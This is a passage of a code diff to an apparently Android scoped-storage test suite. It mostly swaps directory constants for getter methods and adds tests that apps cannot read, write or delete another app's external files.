-                () -> { new File(EXTERNAL_STORAGE_DIR, NONMEDIA_FILE_NAME).createNewFile(); });
+                () -> { new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(EXTERNAL_STORAGE_DIR, AUDIO_FILE_NAME).createNewFile(); });
+                () -> { new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(EXTERNAL_STORAGE_DIR, IMAGE_FILE_NAME).createNewFile(); });
+                () -> { new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile(); });
         assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(EXTERNAL_STORAGE_DIR, VIDEO_FILE_NAME).createNewFile(); });
+                () -> { new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile(); });
     }
 
     /**
@@ -256,7 +293,7 @@
      */
     @Test
     public void testCreateFileInAppExternalDir() throws Exception {
-        final File file = new File(EXTERNAL_FILES_DIR, "text.txt");
+        final File file = new File(getExternalFilesDir(), "text.txt");
         try {
             assertThat(file.createNewFile()).isTrue();
             assertThat(file.delete()).isTrue();
@@ -283,7 +320,7 @@
     public void testCreateFileInOtherAppExternalDir() throws Exception {
         // Creating a file in a non existent package dir should return ENOENT, as expected
         final File nonexistentPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
         final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
         assertThrows(
                 IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
@@ -292,36 +329,59 @@
         // leaking installed app names, and we know the following directory exists because shell
         // mkdirs it in test setup
         final File shellPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
         final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
         assertThrows(
                 IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
     }
 
     /**
+     * Test that apps can't read/write files in another app's external files directory,
+     * and can do so in their own app's external file directory.
+     */
+    @Test
+    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create a file in app's external files directory
+            if (!videoFile.exists()) {
+                assertThat(videoFile.createNewFile()).isTrue();
+            }
+
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // TEST_APP_A should not be able to read/write to other app's external files directory.
+            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), false /* forWrite */)).isFalse();
+            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), true /* forWrite */)).isFalse();
+            // TEST_APP_A should not be able to delete files in other app's external files
+            // directory.
+            assertThat(deleteFileAs(TEST_APP_A, videoFile.getPath())).isFalse();
+
+            // Apps should have read/write access in their own app's external files directory.
+            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
+            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
+            // Apps should be able to delete files in their own app's external files directory.
+            assertThat(videoFile.delete()).isTrue();
+        } finally {
+            videoFile.delete();
+            uninstallAppNoThrow(TEST_APP_A);
+        }
+    }
+
+    /**
      * Test that we can contribute media without any permissions.
      */
     @Test
     public void testContributeMediaFile() throws Exception {
-        final File imageFile = new File(DCIM_DIR, IMAGE_FILE_NAME);
-
-        ContentResolver cr = getContentResolver();
-        final String selection =
-                MediaColumns.RELATIVE_PATH + " = ? AND " + MediaColumns.DISPLAY_NAME + " = ?";
-        final String[] selectionArgs = {Environment.DIRECTORY_DCIM + '/', IMAGE_FILE_NAME};
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
 
         try {
             assertThat(imageFile.createNewFile()).isTrue();
 
             // Ensure that the file was successfully added to the MediaProvider database
-            try (final Cursor c = cr.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
-                         /* projection */ new String[] {MediaColumns.OWNER_PACKAGE_NAME},
-                         selection, selectionArgs, null)) {
-                assertThat(c.getCount()).isEqualTo(1);
-                c.moveToFirst();
-                assertThat(c.getString(c.getColumnIndex(MediaColumns.OWNER_PACKAGE_NAME)))
-                        .isEqualTo(THIS_PACKAGE_NAME);
-            }
+            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
 
             // Try to write random data to the file
             try (final FileOutputStream fos = new FileOutputStream(imageFile)) {
@@ -337,34 +397,25 @@
             assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
 
             // Ensure that the scan was completed and the file's size was updated.
-            try (final Cursor c = cr.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
-                         /* projection */ new String[] {MediaColumns.SIZE}, selection,
-                         selectionArgs, null)) {
-                assertThat(c.getCount()).isEqualTo(1);
-                c.moveToFirst();
-                assertThat(c.getInt(c.getColumnIndex(MediaColumns.SIZE)))
-                        .isEqualTo(BYTES_DATA1.length + BYTES_DATA2.length);
-            }
+            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
+                    BYTES_DATA1.length + BYTES_DATA2.length);
         } finally {
             imageFile.delete();
         }
         // Ensure that delete makes a call to MediaProvider to remove the file from its database.
-        try (final Cursor c = cr.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
-                     /* projection */ new String[] {MediaColumns.OWNER_PACKAGE_NAME}, selection,
-                     selectionArgs, null)) {
-            assertThat(c.getCount()).isEqualTo(0);
-        }
+        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
     }
 
     @Test
     public void testCreateAndDeleteEmptyDir() throws Exception {
+        final File externalFilesDir = getExternalFilesDir();
         // Remove directory in order to create it again
-        EXTERNAL_FILES_DIR.delete();
+        externalFilesDir.delete();
 
         // Can create own external files dir
-        assertThat(EXTERNAL_FILES_DIR.mkdir()).isTrue();
+        assertThat(externalFilesDir.mkdir()).isTrue();
 
-        final File dir1 = new File(EXTERNAL_FILES_DIR, "random_dir");
+        final File dir1 = new File(externalFilesDir, "random_dir");
         // Can create dirs inside it
         assertThat(dir1.mkdir()).isTrue();
 
@@ -375,13 +426,13 @@
         // And can delete them all
         assertThat(dir2.delete()).isTrue();
         assertThat(dir1.delete()).isTrue();
-        assertThat(EXTERNAL_FILES_DIR.delete()).isTrue();
+        assertThat(externalFilesDir.delete()).isTrue();
 
         // Can't create external dir for other apps
         final File nonexistentPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
         final File shellPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
 
         assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
         assertThat(shellPackageFileDir.mkdir()).isFalse();
@@ -389,8 +440,8 @@
 
     @Test
     public void testCantAccessOtherAppsContents() throws Exception {
-        final File mediaFile = new File(PICTURES_DIR, IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME);
+        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
         try {
             installApp(TEST_APP_A);
 
@@ -415,7 +466,7 @@
 
     @Test
     public void testCantDeleteOtherAppsContents() throws Exception {
-        final File dirInDownload = new File(DOWNLOAD_DIR, TEST_DIRECTORY_NAME);
+        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
         final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
         final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
         try {
@@ -463,6 +514,29 @@
     }
 
     /**
+     * Test that deleting uri corresponding to a file which was already deleted via filePath
+     * doesn't result in a security exception.
+     */
+    @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertTrue(nonMediaFile.createNewFile());
+            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+            assertNotNull(uri);
+
+            // Delete the file via filePath
+            assertTrue(nonMediaFile.delete());
+
+            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+            // security exception.
+            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+        } finally {
+            nonMediaFile.delete();
+        }
+    }
+
+    /**
      * This test relies on the fact that {@link File#list} uses opendir internally, and that it
      * returns {@code null} if opendir fails.
      */
@@ -470,27 +544,26 @@
     public void testOpendirRestrictions() throws Exception {
         // Opening a non existent package directory should fail, as expected
         final File nonexistentPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
         assertThat(nonexistentPackageFileDir.list()).isNull();
 
         // Opening another package's external directory should fail as well, even if it exists
         final File shellPackageFileDir = new File(
-                EXTERNAL_FILES_DIR.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
         assertThat(shellPackageFileDir.list()).isNull();
 
         // We can open our own external files directory
-        final String[] filesList = EXTERNAL_FILES_DIR.list();
+        final String[] filesList = getExternalFilesDir().list();
         assertThat(filesList).isNotNull();
-        assertThat(filesList).isEmpty();
 
         // We can open any public directory in external storage
-        assertThat(DCIM_DIR.list()).isNotNull();
-        assertThat(DOWNLOAD_DIR.list()).isNotNull();
-        assertThat(MOVIES_DIR.list()).isNotNull();
-        assertThat(MUSIC_DIR.list()).isNotNull();
+        assertThat(getDcimDir().list()).isNotNull();
+        assertThat(getDownloadDir().list()).isNotNull();
+        assertThat(getMoviesDir().list()).isNotNull();
+        assertThat(getMusicDir().list()).isNotNull();
 
         // We can open the root directory of external storage
-        final String[] topLevelDirs = EXTERNAL_STORAGE_DIR.list();
+        final String[] topLevelDirs = getExternalStorageDir().list();
         assertThat(topLevelDirs).isNotNull();
         // TODO(b/145287327): This check fails on a device with no visible files.
         // This can be fixed if we display default directories.
@@ -499,7 +572,7 @@
 
     @Test
     public void testLowLevelFileIO() throws Exception {
-        String filePath = new File(DOWNLOAD_DIR, NONMEDIA_FILE_NAME).toString();
+        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
         try {
             int createFlags = O_CREAT | O_RDWR;
             int createExclFlags = createFlags | O_EXCL;
@@ -544,7 +617,8 @@
      */
     @Test
     public void testListDirectoriesWithMediaFiles() throws Exception {
-        final File dir = new File(DCIM_DIR, TEST_DIRECTORY_NAME);
+        final File dcimDir = getDcimDir();
+        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
         final File videoFile = new File(dir, VIDEO_FILE_NAME);
         final String videoFileName = videoFile.getName();
         try {
@@ -556,14 +630,14 @@
             installApp(TEST_APP_A);
             assertThat(createFileAs(TEST_APP_A, videoFile.getPath())).isTrue();
             // TEST_APP_A should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, DCIM_DIR.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(TEST_APP_A, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(videoFileName);
 
             // Install TEST_APP_B with storage permission.
             installAppWithStoragePermissions(TEST_APP_B);
             // TEST_APP_B with storage permission should see TEST_DIRECTORY in DCIM and new file
             // in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, DCIM_DIR.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(TEST_APP_B, dir.getPath())).containsExactly(videoFileName);
 
             // Revoke storage permission for TEST_APP_B
@@ -571,7 +645,7 @@
                     TEST_APP_B.getPackageName(), Manifest.permission.READ_EXTERNAL_STORAGE);
             // TEST_APP_B without storage permission should see TEST_DIRECTORY in DCIM and should
             // not see new file in new TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, DCIM_DIR.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(videoFileName);
         } finally {
             uninstallAppNoThrow(TEST_APP_B);
@@ -586,7 +660,8 @@
      */
     @Test
     public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        final File dir = new File(DOWNLOAD_DIR, TEST_DIRECTORY_NAME);
+        final File downloadDir = getDownloadDir();
+        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
         final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
         final String pdfFileName = pdfFile.getName();
         try {
@@ -598,16 +673,16 @@
             installApp(TEST_APP_A);
             assertThat(createFileAs(TEST_APP_A, pdfFile.getPath())).isTrue();
 
-            // TEST_APP_A should see TEST_DIRECTORY in DOWNLOAD_DIR and new non media file in
+            // TEST_APP_A should see TEST_DIRECTORY in downloadDir and new non media file in
             // TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, DOWNLOAD_DIR.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(TEST_APP_A, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(pdfFileName);
 
             // Install TEST_APP_B with storage permission.
             installAppWithStoragePermissions(TEST_APP_B);
-            // TEST_APP_B with storage permission should see TEST_DIRECTORY in DOWNLOAD_DIR
+            // TEST_APP_B with storage permission should see TEST_DIRECTORY in downloadDir
             // and should not see new non media file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, DOWNLOAD_DIR.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(TEST_APP_B, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(pdfFileName);
         } finally {
             uninstallAppNoThrow(TEST_APP_B);
@@ -623,25 +698,27 @@
     @Test
     public void testListFilesFromExternalFilesDirectory() throws Exception {
         final String packageName = THIS_PACKAGE_NAME;
-        final File videoFile = new File(EXTERNAL_FILES_DIR, NONMEDIA_FILE_NAME);
+        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
 
         try {
             // Create a file in app's external files directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
+            if (!nonmediaFile.exists()) {
+                assertThat(nonmediaFile.createNewFile()).isTrue();
             }
             // App should see its directory and directories of shared packages. App should see all
             // files and directories in its external directory.
-            assertDirectoryContains(videoFile.getParentFile(), videoFile);
+            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
 
             // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
             // TEST_APP_A should not see other app's external files directory.
             installAppWithStoragePermissions(TEST_APP_A);
 
-            assertThrows(IOException.class, () -> listAs(TEST_APP_A, ANDROID_DATA_DIR.getPath()));
-            assertThrows(IOException.class, () -> listAs(TEST_APP_A, EXTERNAL_FILES_DIR.getPath()));
+            assertThrows(IOException.class,
+                    () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
+            assertThrows(IOException.class,
+                    () -> listAs(TEST_APP_A, getExternalFilesDir().getPath()));
         } finally {
-            videoFile.delete();
+            nonmediaFile.delete();
             uninstallAppNoThrow(TEST_APP_A);
         }
     }
@@ -651,7 +728,7 @@
      */
     @Test
     public void testListFilesFromExternalMediaDirectory() throws Exception {
-        final File videoFile = new File(EXTERNAL_MEDIA_DIR, VIDEO_FILE_NAME);
+        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
 
         try {
             // Create a file in app's external media directory
@@ -666,9 +743,11 @@
             // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
             // TEST_APP_A with storage permission should see other app's external media directory.
             installAppWithStoragePermissions(TEST_APP_A);
-            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media directory.
-            assertThat(listAs(TEST_APP_A, ANDROID_MEDIA_DIR.getPath())).contains(THIS_PACKAGE_NAME);
-            assertThat(listAs(TEST_APP_A, EXTERNAL_MEDIA_DIR.getPath()))
+            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
+            // directory.
+            assertThat(listAs(TEST_APP_A, getAndroidMediaDir().getPath()))
+                    .contains(THIS_PACKAGE_NAME);
+            assertThat(listAs(TEST_APP_A, getExternalMediaDir().getPath()))
                     .containsExactly(videoFile.getName());
         } finally {
             videoFile.delete();
@@ -681,8 +760,8 @@
      */
     @Test
     public void testListUnsupportedFileType() throws Exception {
-        final File pdfFile = new File(DCIM_DIR, NONMEDIA_FILE_NAME);
-        final File videoFile = new File(MUSIC_DIR, VIDEO_FILE_NAME);
+        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
         try {
             // TEST_APP_A with storage permission should not see pdf file in DCIM
             executeShellCommand("touch " + pdfFile.getAbsolutePath());
@@ -690,23 +769,26 @@
             assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
 
             installAppWithStoragePermissions(TEST_APP_A);
-            assertThat(listAs(TEST_APP_A, DCIM_DIR.getPath())).doesNotContain(NONMEDIA_FILE_NAME);
+            assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
+                    .doesNotContain(NONMEDIA_FILE_NAME);
 
             executeShellCommand("touch " + videoFile.getAbsolutePath());
             // We don't insert files to db for files created by shell.
             assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
             // TEST_APP_A with storage permission should see video file in Music directory.
-            assertThat(listAs(TEST_APP_A, MUSIC_DIR.getPath())).contains(VIDEO_FILE_NAME);
+            assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
         } finally {
             executeShellCommand("rm " + pdfFile.getAbsolutePath());
             executeShellCommand("rm " + videoFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
         }
     }
 
     @Test
     public void testMetaDataRedaction() throws Exception {
-        File jpgFile = new File(PICTURES_DIR, "img_metadata.jpg");
+        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
         try {
             if (jpgFile.exists()) {
                 assertThat(jpgFile.delete()).isTrue();
@@ -742,7 +824,7 @@
     @Test
     public void testOpenFilePathFirstWriteContentResolver() throws Exception {
         String displayName = "open_file_path_write_content_resolver.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -761,7 +843,7 @@
     @Test
     public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
         String displayName = "open_content_resolver_write_content_resolver.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -780,7 +862,7 @@
     @Test
     public void testOpenFilePathFirstWriteFilePath() throws Exception {
         String displayName = "open_file_path_write_file_path.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -799,7 +881,7 @@
     @Test
     public void testOpenContentResolverFirstWriteFilePath() throws Exception {
         String displayName = "open_content_resolver_write_file_path.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -818,19 +900,19 @@
     @Test
     public void testOpenContentResolverWriteOnly() throws Exception {
         String displayName = "open_content_resolver_write_only.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
 
-            // Since we can only place one F_WRLCK, the second open for readPfd will go
-            // throuh FUSE
+            // We upgrade 'w' only to 'rw'
             ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
             ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
 
             assertRWR(readPfd, writePfd);
+            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
             assertLowerFsFd(writePfd);
-            assertUpperFsFd(readPfd); // Without cache
+            assertLowerFsFd(readPfd);
         } finally {
             file.delete();
         }
@@ -839,7 +921,7 @@
     @Test
     public void testOpenContentResolverDup() throws Exception {
         String displayName = "open_content_resolver_dup.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             file.delete();
@@ -865,7 +947,7 @@
     @Test
     public void testOpenContentResolverClose() throws Exception {
         String displayName = "open_content_resolver_close.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             byte[] readBuffer = new byte[10];
@@ -897,7 +979,7 @@
     @Test
     public void testContentResolverDelete() throws Exception {
         String displayName = "content_resolver_delete.jpg";
-        File file = new File(DCIM_DIR, displayName);
+        File file = new File(getDcimDir(), displayName);
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -915,13 +997,17 @@
     public void testContentResolverUpdate() throws Exception {
         String oldDisplayName = "content_resolver_update_old.jpg";
         String newDisplayName = "content_resolver_update_new.jpg";
-        File oldFile = new File(DCIM_DIR, oldDisplayName);
-        File newFile = new File(DCIM_DIR, newDisplayName);
+        File oldFile = new File(getDcimDir(), oldDisplayName);
+        File newFile = new File(getDcimDir(), newDisplayName);
 
         try {
             assertThat(oldFile.createNewFile()).isTrue();
+            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
+            // file will make MP consider pending from FUSE as explicit IS_PENDING
+            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
+            assertNotNull(uri);
 
-            updateDisplayNameWithMediaProvider(
+            updateDisplayNameWithMediaProvider(uri,
                     Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
 
             assertThat(oldFile.exists()).isFalse();
@@ -936,28 +1022,73 @@
 
     @Test
     public void testCreateLowerCaseDeleteUpperCase() throws Exception {
-        File upperCase = new File(DOWNLOAD_DIR, "CREATE_LOWER_DELETE_UPPER");
-        File lowerCase = new File(DOWNLOAD_DIR, "create_lower_delete_upper");
+        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
+        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
 
         createDeleteCreate(lowerCase, upperCase);
     }
 
     @Test
     public void testCreateUpperCaseDeleteLowerCase() throws Exception {
-        File upperCase = new File(DOWNLOAD_DIR, "CREATE_UPPER_DELETE_LOWER");
-        File lowerCase = new File(DOWNLOAD_DIR, "create_upper_delete_lower");
+        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
+        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
 
         createDeleteCreate(upperCase, lowerCase);
     }
 
     @Test
     public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
-        File mixedCase1 = new File(DOWNLOAD_DIR, "CrEaTe_MiXeD_dElEtE_mIxEd");
-        File mixedCase2 = new File(DOWNLOAD_DIR, "cReAtE_mIxEd_DeLeTe_MiXeD");
+        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
+        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
 
         createDeleteCreate(mixedCase1, mixedCase2);
     }
 
+    @Test
+    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
+        File dataDir = getContext().getExternalFilesDir(null);
+        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
+
+        File obbDir = getContext().getObbDir();
+        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
+
+
+        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
+        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
+
+        assertThat(dataDir.exists()).isTrue();
+        assertThat(upperCaseDataDir.exists()).isTrue();
+        assertThat(obbDir.exists()).isTrue();
+        assertThat(upperCaseObbDir.exists()).isTrue();
+
+        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
+        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
+
+        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
+        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
+    }
+
+    @Test
+    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+        try {
+            ParcelFileDescriptor upperCasePfd =
+                    ParcelFileDescriptor.open(upperCaseFile,
+                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+            ParcelFileDescriptor lowerCasePfd =
+                    ParcelFileDescriptor.open(lowerCaseFile,
+                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+
+            assertRWR(upperCasePfd, lowerCasePfd);
+            assertRWR(lowerCasePfd, upperCasePfd);
+        } finally {
+            upperCaseFile.delete();
+            lowerCaseFile.delete();
+        }
+    }
+
     private void createDeleteCreate(File create, File delete) throws Exception {
         try {
             assertThat(create.createNewFile()).isTrue();
@@ -970,45 +1101,45 @@
             Thread.sleep(5);
         } finally {
             create.delete();
-            create.delete();
+            delete.delete();
         }
     }
 
     @Test
     public void testReadStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(DCIM_DIR, "read_storage.jpg"),
+        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "read_storage.jpg"),
                 Manifest.permission.READ_EXTERNAL_STORAGE,
                 AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
     }
 
     @Test
     public void testWriteStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C_LEGACY, new File(DCIM_DIR, "write_storage.jpg"),
+        testAppOpInvalidation(TEST_APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
                 Manifest.permission.WRITE_EXTERNAL_STORAGE,
                 AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
     }
 
     @Test
     public void testManageStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(DOWNLOAD_DIR, "manage_storage.pdf"),
+        testAppOpInvalidation(TEST_APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
                 /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
     }
 
     @Test
     public void testWriteImagesInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(DCIM_DIR, "write_images.jpg"),
+        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_images.jpg"),
                 /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
     }
 
     @Test
     public void testWriteVideoInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(DCIM_DIR, "write_video.mp4"),
+        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_video.mp4"),
                 /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
     }
 
     @Test
     public void testAccessMediaLocationInvalidation() throws Exception {
-        File imgFile = new File(DCIM_DIR, "access_media_location.jpg");
+        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
 
         try {
             // Setup image with sensitive data on external storage
@@ -1050,7 +1181,7 @@
 
     @Test
     public void testAppUpdateInvalidation() throws Exception {
-        File file = new File(DCIM_DIR, "app_update.jpg");
+        File file = new File(getDcimDir(), "app_update.jpg");
         try {
             assertThat(file.createNewFile()).isTrue();
 
@@ -1078,7 +1209,7 @@
 
     @Test
     public void testAppReinstallInvalidation() throws Exception {
-        File file = new File(DCIM_DIR, "app_reinstall.jpg");
+        File file = new File(getDcimDir(), "app_reinstall.jpg");
 
         try {
             assertThat(file.createNewFile()).isTrue();
@@ -1142,9 +1273,9 @@
 
     @Test
     public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        final File otherAppImageFile = new File(DCIM_DIR, "other_" + IMAGE_FILE_NAME);
-        final File topLevelImageFile = new File(EXTERNAL_STORAGE_DIR, IMAGE_FILE_NAME);
-        final File imageInAnObviouslyWrongPlace = new File(MUSIC_DIR, IMAGE_FILE_NAME);
+        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
+        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
 
         try {
             installApp(TEST_APP_A);
@@ -1182,9 +1313,9 @@
 
     @Test
     public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
